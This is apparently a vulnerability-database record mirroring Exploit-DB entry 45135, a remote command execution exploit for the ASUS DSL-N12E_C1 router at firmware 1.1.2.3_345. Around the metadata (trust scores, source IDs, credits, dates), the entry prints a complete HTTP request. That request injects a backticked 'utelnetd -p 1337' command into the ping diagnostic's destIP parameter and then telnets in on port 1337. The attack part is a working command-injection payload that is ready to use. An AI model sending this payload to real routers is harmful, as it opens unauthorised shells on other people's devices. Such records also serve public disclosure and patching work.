Details of VAR-E-201808-0442

ID

VAR-E-201808-0442

EDB ID

45135

TITLE

ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 45135

DESCRIPTION

ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution.. webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 45135

AFFECTED PRODUCTS

vendor:

asus

model:

dsl-n12e c1 1.1.2.3 345

scope:

version:

Trust: 1.6

sources: EXPLOIT-DB: 45135 // EDBNET: 98778

EXPLOIT

# Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution
# Date: 2018-08-02
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.asus.com/
# Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/
# Version: 1.1.2.3_345
# Tested on: 1.1.2.3_345

GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1
Host: www.target.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.target.com/Main_Analysis_Content.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

# To connect
1. telnet www.target.com 1337

Trust: 1.0

sources: EXPLOIT-DB: 45135

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 45135

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 45135

TYPE

Remote Command Execution

Trust: 1.6

sources: EXPLOIT-DB: 45135 // EDBNET: 98778

CREDITS

Fakhri Zulkifli

Trust: 0.6

sources: EXPLOIT-DB: 45135

EXTERNAL IDS

db:	EXPLOIT-DB	id:	45135	Trust: 1.6
db:	EDBNET	id:	98778	Trust: 0.6

sources: EXPLOIT-DB: 45135 // EDBNET: 98778

REFERENCES

url:

https://www.exploit-db.com/exploits/45135/

Trust: 0.6

sources: EDBNET: 98778

SOURCES

db:	EXPLOIT-DB	id:	45135
db:	EDBNET	id:	98778

LAST UPDATE DATE

2022-07-27T09:46:58.969000+00:00

SOURCES RELEASE DATE

db:	EXPLOIT-DB	id:	45135	date:	2018-08-02T00:00:00
db:	EDBNET	id:	98778	date:	2018-08-02T00:00:00